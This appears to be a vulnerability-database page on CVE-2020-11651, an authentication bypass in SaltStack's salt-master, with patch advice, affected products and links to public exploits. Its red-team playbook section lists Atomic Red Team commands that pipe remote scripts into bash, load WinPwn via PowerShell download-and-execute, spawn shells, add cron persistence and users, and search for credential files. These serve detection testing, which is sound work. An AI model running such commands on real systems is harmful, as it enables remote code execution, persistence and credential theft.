CVE-2020-11651
Overview
This vulnerability is an authentication bypass in the SaltStack salt-master ClearFuncs class, where method calls are not properly validated. The flaw resides in the salt-master process's handling of remote procedure calls, allowing unauthenticated access to internal methods. The affected component is the salt-master service in SaltStack versions prior to 2019.2.4 and 3000 before 3000.2.
Vulnerability Description
An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.
Impact
An attacker can remotely execute arbitrary commands on salt minions and retrieve sensitive authentication tokens from the salt-master without any authentication or user interaction. This leads to full compromise of the SaltStack infrastructure, enabling lateral movement and control over managed systems. The vulnerability facilitates unauthorized access to critical systems, potentially resulting in data breaches, operational disruption, and loss of system integrity.
Solution
Apply the vendor-provided patches as indicated in the respective security advisories: upgrade SaltStack Salt to version 2019.2.4 or later, or 3000.2 or later. Refer to the openSUSE security announcement (http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00047.html), Debian DSA-4676 (https://www.debian.org/security/2020/dsa-4676), and Cisco Security Advisory (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG) for detailed patching instructions. Ubuntu users should consult USN-4459-1 (https://usn.ubuntu.com/4459-1/) for updates and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Saltstack | Salt | All |
cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
|
|
|
Saltstack | Salt | All |
cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
|
|
|
Opensuse | Leap | 15.1 |
cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 8.0 |
cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
|
|
Canonical | Ubuntu Linux | 16.04 |
cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:esm:*:*:*
|
|
|
Canonical | Ubuntu Linux | 18.04 |
cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*
|
|
|
Vmware | Application Remote Collector | 7.5.0 |
cpe:2.3:a:vmware:application_remote_collector:7.5.0:*:*:*:*:*:*:*
|
|
|
Vmware | Application Remote Collector | 8.0.0 |
cpe:2.3:a:vmware:application_remote_collector:8.0.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (2)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
SaltStack Salt Master/Minion Unauthenticated RCE
exploits/linux/misc/saltstack_salt_unauth_rce
|
F-Secure, wvu | Unknown | - | View |
|
SaltStack Salt Master Server Root Key Disclosure
auxiliary/gather/saltstack_salt_root_key
|
F-Secure, wvu | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Saltstack 3000.1 - Remote Code Execution | Jasper Lievisse Adriaanse | remote | multiple | - | View |
GitHub PoCs (15)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jasperla/CVE-2020-11651-poc
PoC exploit of CVE-2020-11651 and CVE-2020-11652
|
jasperla | 121 | 42 | 2020-05-04 | View |
|
dozernz/cve-2020-11651
|
dozernz | 106 | 36 | 2020-05-04 | View |
|
rossengeorgiev/salt-security-backports
Salt security backports for CVE-2020-11651 & CVE-2020-11652
|
rossengeorgiev | 108 | 15 | 2020-05-01 | View |
|
0xc0d/CVE-2020-11651
CVE-2020-11651: Proof of Concept
|
0xc0d | 40 | 14 | 2020-05-04 | View |
|
ssrsec/CVE-2020-11651-CVE-2020-11652-EXP
CVE-2020-11651&&CVE-2020-11652 EXP
|
ssrsec | 24 | 15 | 2020-05-07 | View |
|
bravery9/SaltStack-Exp
CVE-2020-11651&&CVE-2020-11652 EXP
|
bravery9 | 5 | 8 | 2020-05-04 | View |
|
kevthehermit/CVE-2020-11651
PoC for CVE-2020-11651
|
kevthehermit | 6 | 3 | 2020-05-04 | View |
|
chef-cft/salt-vulnerabilities
Checks for CVE-2020-11651 and CVE-2020-11652
|
chef-cft | 6 | 1 | 2020-05-01 | View |
|
lovelyjuice/cve-2020-11651-exp-plus
|
lovelyjuice | 5 | 2 | 2020-05-07 | View |
|
appcheck-ng/salt-rce-scanner-CVE-2020-11651-CVE-2020-11652
Scanning tool to test for SaltStack vulnerabilities CVE-2020-11651 & CVE-2020-11652.
|
appcheck-ng | 1 | 0 | 2020-11-30 | View |
|
Drew-Alleman/CVE-2020-11651
A script that exploits SaltStack CVE-2020-11651 and CVE-2020-11652 to add new users to a vulnerable Salt master by injec...
|
Drew-Alleman | 1 | 0 | 2025-03-30 | View |
|
CyberCTF/vulhub-saltstack-cve-2020-11651
Vulhub saltstack/CVE-2020-11651: SaltStack Master Authentication Bypass (CVE-2020-11651), run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
s1lentf00thold/CVE-2020-11651-Poc
|
s1lentf00thold | 0 | 0 | 2026-06-23 | View |
|
RakhithJK/CVE-2020-11651
PoC for CVE-2020-11651
|
RakhithJK | 0 | 0 | 2020-05-09 | View |
|
hardsoftsecurity/CVE-2020-11651-PoC
Repository that contains a CVE-2020-11651 Exploit updated to work with the latest versions of python.
|
hardsoftsecurity | 0 | 0 | 2023-12-18 | View |
Threat Feed
12 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.